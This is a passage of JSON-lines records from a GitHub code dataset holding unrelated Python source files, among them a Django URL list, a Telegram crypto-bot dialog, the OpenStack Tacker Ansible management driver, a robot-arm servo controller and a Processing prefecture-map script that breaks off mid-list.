path('resultbatch', views.result_batch,name=\"resultbatch\"),\n path('resultexam/', views.result_exam,name=\"resultexam\"),\n path('result//', views.result,name=\"result\"),\n path('checkresult//', views.checkresult,name=\"checkresult\"),\n path('publishresult/', views.resultPublish,name=\"publishresult\"),\n\n # Exam rechedule\n\n path('reschedule', views.reschedule, name=\"reschedule\"),\n path('reschedulelist/', views.reschedule_list, name=\"reschedulelist\"),\n path('reschedulelistdelete/', views.delete_schedule_status, name=\"reschedulelistdelete\"),\n\n\n # profile\n\n path('profile', views.admin_profile, name=\"adminprofile\"),\n\n # fees admin\n\n path('feesadding', views.fees_adding,name=\"feesadding\"),\n path('getdatapayment', views.getdatapayment,name=\"getdatapayment\"),\n\n\n\n # login\n \n path('login', views.log_in,name=\"adminlogin\"),\n path('logout_view', views.logout_view,name=\"logout_view\"),\n \n\n # registration list\n\n path('checkregistration', views.check_registration,name=\"checkregistration\"),\n path('deletereg/',views.delete_registration,name=\"deletereg\"),\n \n\n]","repo_name":"mhdshahidak/ABC_Academy","sub_path":"adminapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":3421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"31793654025","text":"from aiogram.types import CallbackQuery\nfrom aiogram_dialog import DialogManager, Window\nfrom aiogram_dialog.widgets.kbd import Button, Group\nfrom aiogram_dialog.widgets.text import Const, Format\n\nimport src.crypto_bot.messages.dialogs.configurator.windows as messages\nfrom src.crypto_bot.dialogs.configurator.states import ConfiguratorDialog\nfrom src.crypto_bot.dialogs.configurator.windows.common import (\n exception_handler,\n get_back_cancel_keyboard,\n)\nfrom src.crypto_bot.models.configuration import BuyMode, Configuration\n\n\n@exception_handler\nasync def next_click_personal(\n call: CallbackQuery, button: Button, manager: DialogManager\n): # pylint: disable=unused-argument\n configuration = Configuration(user_id=call.from_user.id)\n configuration.buy_mode = BuyMode(button.widget_id)\n await manager.update({\"configuration\": configuration})\n await manager.dialog().switch_to(ConfiguratorDialog.crypto_exchange)\n\n\n@exception_handler\nasync def next_click_company(\n call: CallbackQuery, button: Button, manager: DialogManager\n): # pylint: disable=unused-argument\n configuration = Configuration(user_id=call.from_user.id)\n configuration.buy_mode = BuyMode(button.widget_id)\n await manager.update({\"configuration\": configuration})\n await manager.dialog().switch_to(ConfiguratorDialog.company_buy)\n\n\nasync def get_data(*args, **kwargs): # pylint: disable=unused-argument\n return {\n \"buy_mode\": messages.buy_mode(),\n }\n\n\ndef get_buy_modes_keyboard() -> Group:\n group = Group(\n Button(\n Const(messages.personal_buy_button()),\n id=BuyMode.PERSONAL.value,\n on_click=next_click_personal,\n ),\n Button(\n Const(messages.company_buy_button()),\n id=BuyMode.COMPANY.value,\n on_click=next_click_company,\n ),\n )\n return group\n\n\nbuy_mode = Window(\n Format(\"{buy_mode}\"),\n get_buy_modes_keyboard(),\n get_back_cancel_keyboard(window_name=\"buy_mode\", show_back=False),\n state=ConfiguratorDialog.buy_mode,\n getter=get_data,\n)\n","repo_name":"sptmru/crypto-tg-bot","sub_path":"src/crypto_bot/dialogs/configurator/windows/buy_mode.py","file_name":"buy_mode.py","file_ext":"py","file_size_in_byte":2075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"31040206473","text":"## Counter 예제\n## Counter는 이름을 봐도 알 수 있듯이 count한 결과를 반환하는데 이때 dictionary의 형태를 활용해\n## 결과를 return한다\n\n## 해당 solution에서는 절대값을 기준으로 sorted된 결과가 필요하기 때문에 sorted( key=abs)를 활용했다\n## 참고 - dictionary는 .sort()가 없고 sorted함수를 활용해야한다. 혹은 keys()를 활용해서 list를 선언후\n## sort()를 활용할 수 있다.\n\nfrom collections import Counter\n\nclass Solution:\n def canReorderDoubled(self, arr: List[int]) -> bool:\n \n cnt=Counter(arr)\n \n sorted_cnt=sorted(cnt, key= lambda x:abs(x))\n #key = abs로 간단하게 적어줄 수 있다. 참고\n \n for i in sorted_cnt:\n if cnt[i] <= cnt[i*2]:\n cnt[i*2]-=cnt[i]\n else:\n return False\n \n return True","repo_name":"ske-kr/Myalgorithm","sub_path":"etc/leetcode_ArrayofDoubledPair.py","file_name":"leetcode_ArrayofDoubledPair.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72359927763","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport os\nimport yaml\n\nfrom oslo_log import log as logging\nfrom oslo_serialization import jsonutils\n\nfrom tacker.vnfm.mgmt_drivers.ansible import ansible_config_parser\nfrom tacker.vnfm.mgmt_drivers.ansible import config_validator\nfrom tacker.vnfm.mgmt_drivers.ansible import event_handler\nfrom tacker.vnfm.mgmt_drivers.ansible import exceptions\nfrom tacker.vnfm.mgmt_drivers.ansible import heat_client\nfrom tacker.vnfm.mgmt_drivers.ansible import utils\n\nfrom tacker.vnfm.mgmt_drivers.ansible.config_actions.\\\n vm_app_config import vm_app_config\n\nfrom tacker.vnflcm import utils as vnflcm_utils\nfrom tacker.vnfm.mgmt_drivers import constants as mgmt_constants\nfrom tacker.vnfm import plugin\n\nLOG = logging.getLogger(__name__)\nEVENT_HANDLER = event_handler.AnsibleEventHandler()\nSUPPORTED_ACTIONS = [\n mgmt_constants.ACTION_INSTANTIATE_VNF,\n mgmt_constants.ACTION_TERMINATE_VNF,\n mgmt_constants.ACTION_HEAL_VNF,\n mgmt_constants.ACTION_UPDATE_VNF,\n mgmt_constants.ACTION_SCALE_IN_VNF,\n mgmt_constants.ACTION_SCALE_OUT_VNF,\n]\n\n\nclass AnsibleDriver(object):\n\n def __init__(self):\n self._config_queue = {}\n self._has_error = False\n self._cfg_parser = ansible_config_parser.ConfigParser()\n self._cfg_validator = config_validator.AnsibleConfigValidator()\n\n self._config_actions = {}\n self._config_actions[\"vm_app_config\"] = \\\n vm_app_config.VmAppConfigAction()\n\n self._vnf = None\n self._plugin = plugin.VNFMPlugin()\n self._vnf_instance = None\n self._context = None\n\n LOG.debug(\"Ansible Driver initialized successfully!\")\n\n def get_type(self):\n \"\"\"Mgmt driver for ansible\"\"\"\n pass\n\n def get_name(self):\n \"\"\"Ansible Mgmt Driver\"\"\"\n pass\n\n def get_description(self):\n pass\n\n def _driver_process_flow(self, context, vnf_instance, action,\n request_obj, **kwargs):\n # set global, prevent passing for every function call\n self._vnf = kwargs['vnf']\n self._vnf_instance = vnf_instance\n self._context = context\n\n vnfd_dict = vnflcm_utils.get_vnfd_dict(context,\n vnf_instance.vnfd_id,\n vnf_instance.instantiated_vnf_info.flavour_id)\n vnf_value = vnfd_dict['topology_template']['node_templates']['VNF']\n interfaces_vnflcm_value = (vnf_value.get('interfaces', {})\n .get('Vnflcm', {}))\n artifacts_vnflcm_value = vnf_value.get('artifacts', {})\n\n start_msg = (\"Ansible Management Driver invoked for configuration of\"\n \"VNF: {}\".format(self._vnf.get(\"name\")))\n\n insta_info = self._vnf_instance.instantiated_vnf_info\n\n if action == mgmt_constants.ACTION_HEAL_VNF:\n for vnfc_info in insta_info.vnfc_resource_info:\n is_exist = [instance_id for instance_id in\n request_obj.vnfc_instance_id\n if instance_id == vnfc_info.id]\n\n if (not len(request_obj.vnfc_instance_id)\n or len(is_exist)):\n self._vnf['failed_vdu_name'] = vnfc_info.vdu_id\n break\n\n EVENT_HANDLER.create_event(context, self._vnf,\n utils.get_event_by_action(action,\n self._vnf.get(\"failed_vdu_name\", None)),\n start_msg)\n\n # get the mgmt_url\n vnf_mgmt_ip_address = self._vnf.get(\"mgmt_ip_address\", None)\n if vnf_mgmt_ip_address is not None:\n mgmt_url = jsonutils.loads(vnf_mgmt_ip_address)\n LOG.debug(\"mgmt_url %s\", mgmt_url)\n else:\n LOG.info(\"Unable to retrieve mgmt_ip_address of VNF\")\n return\n\n action_interface = None\n if action == mgmt_constants.ACTION_TERMINATE_VNF:\n action_interface = 'terminate_start'\n elif action == mgmt_constants.ACTION_SCALE_IN_VNF:\n action_interface = 'scale_start'\n elif action == mgmt_constants.ACTION_SCALE_OUT_VNF:\n action_interface = 'scale_end'\n elif action == mgmt_constants.ACTION_INSTANTIATE_VNF:\n action_interface = 'instantiate_end'\n elif action == mgmt_constants.ACTION_HEAL_VNF:\n action_interface = 'heal_end'\n\n action_value = interfaces_vnflcm_value.get(action_interface, {})\n action_dependencies = (action_value.get('implementation', {})\n .get('dependencies', []))\n\n # NOTE: Currently action_dependencies is having the value of\n # last element in the list because in the current specification\n # only a single value is available for dependencies.\n if isinstance(action_dependencies, list):\n for arti in action_dependencies:\n action_dependencies = arti\n\n filename = artifacts_vnflcm_value.get(action_dependencies,\n {}).get('file', {})\n\n # load the configuration file\n config_yaml = self._load_ansible_config(request_obj, filename)\n if not config_yaml:\n return\n\n # validate config file\n self._cfg_validator.validate(config_yaml)\n\n # filter VDUs\n if (action != mgmt_constants.ACTION_SCALE_IN_VNF and\n action != mgmt_constants.ACTION_SCALE_OUT_VNF):\n config_yaml = self._cfg_validator.filter_vdus(context, self._vnf,\n utils.get_event_by_action(action,\n self._vnf.get(\"failed_vdu_name\", None)), mgmt_url,\n config_yaml)\n\n # load stack map\n stack_map = self._get_stack_map(action, **kwargs)\n\n # configure config parser for vnf parameter passing\n self._cfg_parser.configure(self._context, self._vnf, self._plugin,\n config_yaml, stack_map)\n\n self._sort_config(config_yaml)\n\n self._process_config(stack_map, config_yaml, mgmt_url, action)\n\n def _sort_config(self, config_yaml):\n self._config_queue = {}\n for vdu, vdu_dict in config_yaml.get(\"vdus\", {}).items():\n self._add_to_config_queue(vdu, vdu_dict.get(\"config\", {}))\n\n def _process_config(self, stack_map, config_yaml, mgmt_url, action):\n for vdu_order in sorted(self._config_queue):\n config_info_list = self._config_queue[vdu_order]\n for config_info in config_info_list:\n vdu = config_info[\"vdu\"]\n config = config_info[\"config\"]\n\n for key, conf_value in config.items():\n if key not in self._config_actions:\n continue\n\n LOG.debug(\"Processing configuration: {}\".format(key))\n self._config_actions[key].execute(\n vdu=vdu,\n vnf=self._vnf,\n context=self._context,\n conf_value=conf_value,\n mgmt_url=mgmt_url,\n cfg_parser=self._cfg_parser,\n stack_map=stack_map,\n config_yaml=config_yaml,\n action=action,\n )\n\n def _add_to_config_queue(self, vdu, config):\n if \"order\" not in config:\n raise exceptions.MandatoryKeyNotDefinedError(vdu=vdu, key=\"order\")\n\n try:\n order = int(config[\"order\"])\n except ValueError:\n raise exceptions.InvalidValueError(vdu=vdu, key=\"order\")\n\n config_info = {\n \"vdu\": vdu,\n \"config\": config\n }\n\n if order in self._config_queue:\n self._config_queue[order].append(config_info)\n else:\n entity_list = []\n entity_list.append(config_info)\n self._config_queue[order] = entity_list\n\n def _get_stack_map(self, action, **kwargs):\n stack_id_map = {}\n stack_id = None\n stack_id_list = None\n scaling_actions = [\n mgmt_constants.ACTION_SCALE_IN_VNF,\n mgmt_constants.ACTION_SCALE_OUT_VNF,\n ]\n\n if action in scaling_actions:\n stack_id = kwargs[\"scale_out_id_list\"]\n else:\n stack_id = self._vnf_instance.instantiated_vnf_info.instance_id\n\n LOG.debug(\"stack_id: {}\".format(stack_id))\n if stack_id:\n if not isinstance(stack_id, list):\n stack_id_list = [stack_id]\n else:\n stack_id_list = stack_id\n\n hc = heat_client.AnsibleHeatClient(self._context, self._plugin,\n self._vnf)\n\n for stack_ids in stack_id_list:\n parent_stack_id = hc.get_parent_stack_id(stack_ids)\n for resource in hc.get_resource_list(parent_stack_id):\n if resource.physical_resource_id == stack_ids:\n attr = hc.get_resource_attributes(\n parent_stack_id, resource.resource_name)\n stack_id_map = self._add_to_stack_map(stack_id_map, attr)\n\n LOG.debug(\"stack_id_map: {}\".format(stack_id_map))\n return stack_id_map\n\n def _add_to_stack_map(self, map, attributes):\n for key, value in attributes.items():\n if \"mgmt_ip-\" in key:\n vdu_name = key.replace(\"mgmt_ip-\", \"\")\n if vdu_name in map:\n map[vdu_name].append(value)\n else:\n map[vdu_name] = [value]\n return map\n\n def _get_config(self, config_data, config_params, vnf_package_path):\n configurable_properties = config_data.get('configurable_properties')\n\n # add vnf_package_path to vnf_configurable properties\n if not configurable_properties:\n configurable_properties = {\n '_VAR_vnf_package_path': vnf_package_path + '/'\n }\n else:\n configurable_properties.update(\n {'_VAR_vnf_package_path': vnf_package_path + '/'})\n\n for k, v in config_params.items():\n var_key = '_VAR_' + k\n configurable_properties.update({var_key: v})\n\n config_data.update(\n {'configurable_properties': configurable_properties})\n\n LOG.debug('Modified config {}'.format(config_data))\n\n return yaml.dump(config_data)\n\n def _load_ansible_config(self, request_obj, filename):\n # load vnf package path\n vnf_package_path = vnflcm_utils._get_vnf_package_path(self._context,\n self._vnf_instance.vnfd_id)\n script_ansible_path = os.path.join(vnf_package_path, filename)\n\n script_ansible_config = None\n # load ScriptANSIBLE/config.yaml\n if os.path.exists(script_ansible_path):\n with open(script_ansible_path) as file_obj:\n script_ansible_config = yaml.safe_load(file_obj)\n\n if script_ansible_config is None:\n LOG.error(\"not defined ansible script config\")\n\n config_params = {}\n\n if hasattr(self._vnf_instance.instantiated_vnf_info,\n 'additional_params'):\n config_params = self._vnf_instance.instantiated_vnf_info.\\\n additional_params\n elif hasattr(request_obj, 'additional_params'):\n config_params = request_obj.additional_params\n\n self._vnf['attributes']['config'] = self._get_config(\n script_ansible_config, config_params, vnf_package_path)\n\n return script_ansible_config\n","repo_name":"openstack/tacker","sub_path":"samples/mgmt_driver/ansible/ansible_driver.py","file_name":"ansible_driver.py","file_ext":"py","file_size_in_byte":11915,"program_lang":"python","lang":"en","doc_type":"code","stars":130,"dataset":"github-code","pt":"3"}
+{"seq_id":"21335028097","text":"from func_gen_simple import *\n\n\ndef genData(i):\n\tL0 = 2005.0 * 10**3 * 0.3 * 3827.0 # initial low emitting capital \n\tH0 = (336341.0 + 485957.0) * 10**3 * 0.5 * 1714.0 # intial coal + ng high emitting capital \n\t\t# MW * 1000kW/MW * capacity * $/kW from Fh_0 or Fl_0\n\n\talpha = 0.5 # emissions reduction fraction\n\tbeta = 0.4 # fraction of yearly operating costs\n\tr = 0.05 # interest rate\n\n\tkWperYearTokWh = 8760.0 # conversion of 1 kW power capacity for 1 year to kWh energy\n\n\tFh_0 = 0.0006 * 0.5 * kWperYearTokWh # base high emitting efficiency kW/$ * kWh conversion * capacity factor\n\tFh_m = 3*0.5*10**-6 * kWperYearTokWh # linear slope high emitting efficiency * kWh conversion * capacity factor \n\tFl_0 = (1.0/3827.0)*0.3 * kWperYearTokWh # base low emitting efficiency kW/$ * kWh conversion * capacity factor\n\tFl_m = 0.01 # linear slope low emitting efficiency\n\n\tel_0 = 0.0 # base emissions for low-intensity capital in lbs CO2/kWh\n\tel_m = -0.1 # linear slope emissions for low-intensity capital\n\teh_0 = 1.6984 # base emissions for high intensity capital in lbs CO2/kWh\n\teh_m = -0.0031 # slope emissions for high-intensity capital\n\n\tG_0 = 2798.5 * 10**9 # billion kWh electricity demanded\n\tG_m = 32.238 * 10**9 # annual growth in demand for electricity in billion kWh\n\n\tperiod = 50 # simulation length (!= to n)\n\ttreaty = 100 # number of years of treaty length - must be less than period\n\tn = 20 # depreciation length for high emitting\n\t#nl = 10 # depreciation length for low emitting\n\n\n\t# generate efficiency and carbon intensity data\n\tGList = linGen(period + 1, G_0, G_m, minimum = 0.0, maximum = 6.0 *10.0 **12) # energy demand over time\n\t# logistic arguments: (k, initial, increasing, randomAllowed, scale = 0.5, minVal= 0, maxVal=1)\n\t# randomAllowed = True varies scale (rate) of change of the trajectory\n\tFlScale, FlList = logistic(period+1, Fl_0, True, False, scale = i/100.0, minVal=0.34334988, maxVal=2.8658669) # low emitting efficiency trajectory\n\t\t# min is half of base, max is efficiency of natural gas ($917/kW) at 30% capacity\n\tFhList = linGen(period+1, Fh_0, Fh_m, maximum=4.7764449) # high emitting efficiency trajectory \n\t\t# weighted average of coal and NG. Max is 1/917 * 8760 * 0.5\n\t\t\n\tmlList = consGen(period+1, el_0) # low emitting carbon intensity trajectory\n\t\t# constant \n\tmhList = linGen(period+1, eh_0, eh_m, minimum=1.22) # high emitting carbon intensity trajectory\n\t\t# minimum is emission from 100% natural gas.\n\n\treturn GList, FlList, FhList, mlList, mhList, period, H0, L0, alpha, r, n\n\n\n\n","repo_name":"cicconea/EnergyTransition","sub_path":"mc_simple.py","file_name":"mc_simple.py","file_ext":"py","file_size_in_byte":2519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"15456756871","text":"import pandas as pd\nimport streamlit as st\n\n\n# Cache the dataframe so it's only loaded once\n@st.cache_data\ndef load_data():\n return pd.DataFrame(\n {\n \"first column\": [1, 2, 3, 4],\n \"second column\": [10, 20, 30, 40],\n }\n )\n\n\n# Boolean to resize the dataframe, stored as a session state variable\nst.checkbox(\"Use container width\", value=False, key=\"use_container_width\")\n\ndf = load_data()\n\n# Display the dataframe and allow the user to stretch the dataframe\n# across the full width of the container\nst.dataframe(df, use_container_width=st.session_state.use_container_width)\n","repo_name":"whitphx/stlite","sub_path":"packages/sharing-editor/public/samples/011_component_gallery/pages/data.dataframe2.py","file_name":"data.dataframe2.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","stars":757,"dataset":"github-code","pt":"3"}
+{"seq_id":"70436521361","text":"import time\nimport math\nimport Adafruit_PCA9685\n\n\nclass RobotArm():\n def __init__(self):\n self.pwm = Adafruit_PCA9685.PCA9685()\n self.pwm.set_pwm_freq(60)\n self.speed = .0005\n self.setcheck(False)\n\n def openClaw(self):\n print(\"open\")\n self.pwm.set_pwm(3,0,self.clawMin)\n\n def closeClaw(self):\n print(\"close\")\n self.pwm.set_pwm(3,0,self.clawMax)\n \n def baseMover(self, input):\n if self.check():\n #Thanks Josh for helping calculate the degrees\n x = int(2.888888889 * int(input.get()) + 130)\n y = self.get_basePos()\n if x < self.get_basePos():\n for a in range(x, self.get_basePos()):\n y -= 1\n self.pwm.set_pwm(8,0,(y))\n time.sleep(self.speed)\n else:\n for a in range(self.get_basePos(), x):\n self.pwm.set_pwm(8,0,(a + 1))\n time.sleep(self.speed)\n self.set_basePos(x)\n else:\n print(\"You must home the robot first\")\n \n #First X arm mover\n def xarmMover(self, input):\n if self.check(): \n xone = self.get_xarmOne()\n xtwo = self.get_xarmTwo()\n xangle = self.get_xangle()\n\n angle = int(input.get())\n rangle = 180 - angle\n\n #Thanks Josh for helping calculate the degrees \n xMove = int(((26/9) * angle + 130))\n \n if xangle < angle:\n for i in range(xone, xMove):\n xtwo -= 1\n xone += 1\n self.pwm.set_pwm(4,0,xone)\n self.pwm.set_pwm(9,0,xtwo)\n time.sleep(self.speed)\n else:\n for i in range( xMove , xone):\n xtwo += 1\n xone -= 1\n self.pwm.set_pwm(4,0,xone)\n self.pwm.set_pwm(9,0,xtwo)\n time.sleep(self.speed)\n \n self.set_xangle(angle)\n self.set_xarmOne(xone)\n self.set_xarmTwo(xtwo)\n else:\n print(\"You must home the robot first\") \n def xarmKin(self, input):\n if self.check(): \n xone = self.get_xarmOne()\n xtwo = self.get_xarmTwo()\n xangle = self.get_xangle()\n\n angle = input\n rangle = 180 - angle\n\n #Thanks Josh for helping calculate the degrees \n xMove = int(((26/9) * angle + 130))\n \n if xangle < angle:\n for i in range(xone, xMove):\n xtwo -= 1\n xone += 1\n self.pwm.set_pwm(4,0,xone)\n self.pwm.set_pwm(9,0,xtwo)\n time.sleep(self.speed)\n else:\n for i in range( xMove , xone):\n xtwo += 1\n xone -= 1\n self.pwm.set_pwm(4,0,xone)\n self.pwm.set_pwm(9,0,xtwo)\n time.sleep(self.speed)\n \n self.set_xangle(angle)\n self.set_xarmOne(xone)\n self.set_xarmTwo(xtwo)\n else:\n print(\"You must home the robot first\")\n \n #Second X arm mover \n def sxarmMover(self, input):\n if self.check(): \n xone = self.get_sxarmOne()\n xtwo = self.get_sxarmTwo()\n xangle = self.get_sxangle()\n\n angle = int(input.get())\n rangle = 180 - angle\n\n #Thanks Josh for helping calculate the degrees \n xMove = int(((26/9) * angle + 130))\n #FIX \n if xangle < angle:\n for i in range(xone, xMove):\n xtwo -= 1\n xone += 1\n self.pwm.set_pwm(5,0,xone)\n self.pwm.set_pwm(10,0,xtwo)\n time.sleep(self.speed)\n else:\n for i in range( xMove , xone):\n xtwo += 1\n xone -= 1\n self.pwm.set_pwm(5,0,xone)\n self.pwm.set_pwm(10,0,xtwo)\n time.sleep(self.speed)\n\n self.set_sxangle(angle)\n self.set_sxarmOne(xone)\n self.set_sxarmTwo(xtwo)\n else:\n print(\"You must home the robot first\")\n def sxarmKin(self, input):\n if self.check(): \n xone = self.get_sxarmOne()\n xtwo = self.get_sxarmTwo()\n xangle = self.get_sxangle()\n\n angle = input\n rangle = 180 - angle\n\n #Thanks Josh for helping calculate the degrees \n xMove = int(((26/9) * angle + 130))\n #FIX \n if xangle < angle:\n for i in range(xone, xMove):\n xtwo -= 1\n xone += 1\n self.pwm.set_pwm(5,0,xone)\n self.pwm.set_pwm(10,0,xtwo)\n time.sleep(self.speed)\n else:\n for i in range( xMove , xone):\n xtwo += 1\n xone -= 1\n self.pwm.set_pwm(5,0,xone)\n self.pwm.set_pwm(10,0,xtwo)\n time.sleep(self.speed)\n\n self.set_sxangle(angle)\n self.set_sxarmOne(xone)\n self.set_sxarmTwo(xtwo)\n else:\n print(\"You must home the robot first\")\n #Third X arm mover\n # FIX\n def txarmMover(self, input):\n if self.check(): \n xone = self.get_txarmOne()\n xtwo = self.get_txarmTwo()\n xangle = self.get_txangle()\n\n angle = int(input.get())\n rangle = 180 - angle\n\n #Thanks Josh for helping calculate the degrees \n xMove = int(((26/9) * angle + 130))\n \n if xangle < angle:\n for i in range(xone, xMove):\n xtwo -= 1\n xone += 1\n self.pwm.set_pwm(6,0,xone)\n self.pwm.set_pwm(11,0,xtwo)\n time.sleep(self.speed)\n else:\n for i in range( xMove , xone):\n xtwo += 1\n xone -= 1\n self.pwm.set_pwm(6,0,xone)\n self.pwm.set_pwm(11,0,xtwo)\n time.sleep(self.speed)\n\n self.set_txangle(angle)\n self.set_txarmOne(xone)\n self.set_txarmTwo(xtwo)\n else:\n print(\"You must home the robot first\")\n def txarmKin(self, input):\n if self.check(): \n xone = self.get_txarmOne()\n xtwo = self.get_txarmTwo()\n xangle = self.get_txangle()\n\n angle = input\n rangle = 180 - angle\n\n #Thanks Josh for helping calculate the degrees \n xMove = int(((26/9) * angle + 130))\n \n if xangle < angle:\n for i in range(xone, xMove):\n xtwo -= 1\n xone += 1\n self.pwm.set_pwm(6,0,xone)\n self.pwm.set_pwm(11,0,xtwo)\n time.sleep(self.speed)\n else:\n for i in range( xMove , xone):\n xtwo += 1\n xone -= 1\n self.pwm.set_pwm(6,0,xone)\n self.pwm.set_pwm(11,0,xtwo)\n time.sleep(self.speed)\n\n self.set_txangle(angle)\n self.set_txarmOne(xone)\n self.set_txarmTwo(xtwo)\n else:\n print(\"You must home the robot first\")\n\n def inverseKiematics(self, x, y, phiangle):\n #Length of links in cm\n a1 = 16.4688\n a2 = 15.7952\n a3 = 13.3698\n\n # Desired Position of End effector\n px = int(x.get())\n py = int(y.get())\n\n phi = int(phiangle.get())\n phi = math.radians(phi)\n\n # Equations for Inverse kinematics\n wx = px - a3* math.cos(phi)\n wy = py - a3* math.sin(phi)\n\n delta = wx**2 + wy**2\n c2 = (delta -a1**2 -a2**2)/(2*a1*a2)\n s2 = math.sqrt(1-c2**2) # elbow down\n theta_2 = math.atan2(s2, c2)\n\n s1 = ((a1+a2*c2)*wy - a2*s2*wx)/delta\n c1 = ((a1+a2*c2)*wx + a2*s2*wy)/delta\n theta_1 = math.atan2(s1,c1)\n theta_3 = phi-theta_1-theta_2\n if(theta_1 < 0 ):\n theta_1 = theta_1* -1\n\n self.xarmKin(round(math.degrees(theta_1)))\n self.sxarmKin(round(math.degrees(theta_2)))\n self.txarmKin(round(math.degrees(theta_3)))\n \n\n #homeing method\n def home(self):\n #base\n self.pwm.set_pwm(8,0,130)\n #first arm\n self.pwm.set_pwm(4,0,390)\n self.pwm.set_pwm(9,0,390)\n #second arm\n self.pwm.set_pwm(5,0,390)\n self.pwm.set_pwm(10,0,390)\n #third arm\n self.pwm.set_pwm(6,0,390)\n self.pwm.set_pwm(11,0,390)\n #wrist join\n #self.pwm.set_pwm(0,0,130)\n #claw open/close \n #self.pwm.set_pwm(1,0,130)\n #set all \n self.set_basePos(0)\n\n self.set_xangle(90)\n self.set_xarmOne(390)\n self.set_xarmTwo(390)\n\n self.set_sxangle(90)\n self.set_sxarmOne(390)\n self.set_sxarmTwo(390)\n\n self.set_txangle(90)\n self.set_txarmOne(390)\n self.set_txarmTwo(390)\n\n print(\"Homed\")\n self.setcheck(True)\n \n\n #change the home state \n def setcheck(self, bool):\n self.state = bool\n \n #Check if the Robot has been homed\n def check(self):\n return self.state\n\n #Set methods\n def set_basePos(self, basePos):\n self.basePos = basePos \n \n def set_xangle(self, xangle):\n self.xangle = xangle\n def set_xarmOne(self, xarmOne):\n self.xarmOne = xarmOne\n def set_xarmTwo(self, xarmTwo):\n self.xarmTwo = xarmTwo\n \n def set_sxangle(self, sxangle):\n self.sxangle = sxangle\n def set_sxarmOne(self, sxarmOne):\n self.sxarmOne = sxarmOne\n def set_sxarmTwo(self, sxarmTwo):\n self.sxarmTwo = sxarmTwo\n\n def set_txangle(self, txangle):\n self.txangle = txangle\n def set_txarmOne(self, txarmOne):\n self.txarmOne = txarmOne\n def set_txarmTwo(self, txarmTwo):\n self.txarmTwo = txarmTwo\n\n #Get methods\n def get_basePos(self):\n return self.basePos\n \n def get_xangle(self):\n return self.xangle\n def get_xarmOne(self):\n return self.xarmOne\n def get_xarmTwo(self):\n return self.xarmTwo\n \n def get_sxangle(self):\n return self.sxangle\n def get_sxarmOne(self):\n return self.sxarmOne\n def get_sxarmTwo(self):\n return self.sxarmTwo\n\n def get_txangle(self):\n return self.txangle\n def get_txarmOne(self):\n return self.txarmOne\n def get_txarmTwo(self):\n return self.txarmTwo\n\n","repo_name":"jello261/Robot-Arm","sub_path":"robotArm.py","file_name":"robotArm.py","file_ext":"py","file_size_in_byte":11093,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"24906664839","text":"import csv\n\nwith open('time.csv','w',newline='')as f:\n writer=csv.writer(f)\n header=['month']\n writer.writerow(header)\n for i in range(1,9):\n for j in range(1,13):\n if i==8 and j>9:\n break\n else:\n month_1='201{0}/{1:02d}'.format(i,j)\n writer.writerow([month_1])\n ","repo_name":"zhangjingwei0512/chapter5","sub_path":"time.py","file_name":"time.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"362986552","text":"#ライブラリの追加\nadd_library('Minim')\n\n#変数とリストの作成\ndate = []\nKanagawa = []\nAomori = []\nAkita = []\nIwate = []\nYamagata = []\nMiyagi = []\nFukushima = []\nIbaraki = []\nTochigi = []\nGunma = []\nSaitama = []\nTokyo = []\nChiba = []\nYamanashi = []\nNiigata = []\nNagano = []\nToyama = []\nIshikawa = []\nFukui = []\nGifu = []\nShizuoka = []\nAichi = []\nMie = []\nShiga = []\nNara = []\nWakayama = []\nKyoto = []\nOsaka = []\nHyogo = []\nHokkaido = []\nTottori = []\nShimane = []\nHiroshima = []\nYamaguchi = []\nKagawa = []\nTokushima = []\nEhime = []\nKochi = []\nFukuoka = []\nOita = []\nSaga = []\nKumamoto = []\nNagasaki = []\nMiyazaki = []\nKagoshima = []\nOkinawa = []\nOkayama = []\ni = 0\nsound = 0\ntime_change = 0\nj = []\nloc_mouse = []\nloc_x = [510,540,510,500,535,520,525,505,495,480,500,520,500,480,450,460,430,425,430,420,400,415,395,380,385,370,380,355,505,330,330,270,290,255,330,287,345,315,225,248,208,240,220,220,200,75,550]\nloc_y = [150,180,170,205,205,240,265,260,265,280,275,290,280,230,270,300,250,275,300,235,270,310,290,290,320,315,330,290,290,285,305,305,310,310,320,341,330,342,333,340,345,390,380,400,370,615,100]\nprefecture_name=[\"Aomori\",\"Iwate\",\"Akita\",\"Yamagata\",\"Miyagi\",\"Fukushima\",\"Ibaraki\",\"Tochigi\",\"Gunma\",\"Yamanashi\",\"Saitama\",\"Chiba\",\"Tokyo\",\"Niigata\",\"Nagano\",\"Shizuoka\",\"Toyama\",\"Gifu\",\"Aichi\",\"Ishikawa\",\"Fukui\",\"Mie\",\"Shiga\",\"Kyoto\",\"Nara\",\"Osaka\",\"Wakayama\",\"Hyogo\",\"Kanagawa\",\"Tottori\",\"Okayama\",\"Shimane\",\"Hiroshima\",\"Yamaguchi\",\"Kagawa\",\"Ehime\",\"Tokushima\",\"Kochi\",\"Fukuoka\",\"Oita\",\"Saga\",\"Miyazaki\",\"Kumamoto\",\"Kagoshima\",\"Nagasaki\",\"Okinawa\",\"Hokkaido\"]\nprefecture=[Aomori,Iwate,Akita,Yamagata,Miyagi,Fukushima,Ibaraki,Tochigi,Gunma,Yamanashi,Saitama,Chiba,Tokyo,Niigata,Nagano,Shizuoka,Toyama,Gifu,Aichi,Ishikawa,Fukui,Mie,Shiga,Kyoto,Nara,Osaka,Wakayama,Hyogo,Kanagawa,To